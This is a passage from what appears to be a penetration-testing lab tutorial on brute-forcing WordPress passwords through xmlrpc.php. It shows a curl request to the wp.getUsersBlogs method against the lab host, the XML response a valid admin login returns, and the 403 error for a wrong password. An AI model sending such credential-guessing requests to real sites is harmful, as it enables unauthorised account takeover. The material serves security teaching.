Once we have the list of valid usernames, we can password bruteforce.
This attack can be performed via the login page or the xmlrpc.php page.
If our POST request against xmlrpc.php contains valid credentials, we will receive the following output:
jadu101@htb[/htb]$ curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>CORRECT-PASSWORD</value></param></params></methodCall>" http://blog.inlanefreight.com/xmlrpc.php
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><struct>
<member><name>isAdmin</name><value><boolean>1</boolean></value></member>
<member><name>url</name><value><string>http://blog.inlanefreight.com/</string></value></member>
<member><name>blogid</name><value><string>1</string></value></member>
<member><name>blogName</name><value><string>Inlanefreight</string></value></member>
<member><name>xmlrpc</name><value><string>http://blog.inlanefreight.com/xmlrpc.php</string></value></member>
</struct></value>
</data></array>
</value>
</param>
</params>
</methodResponse>If the credentials are not valid, we will receive a 403 faultCode error.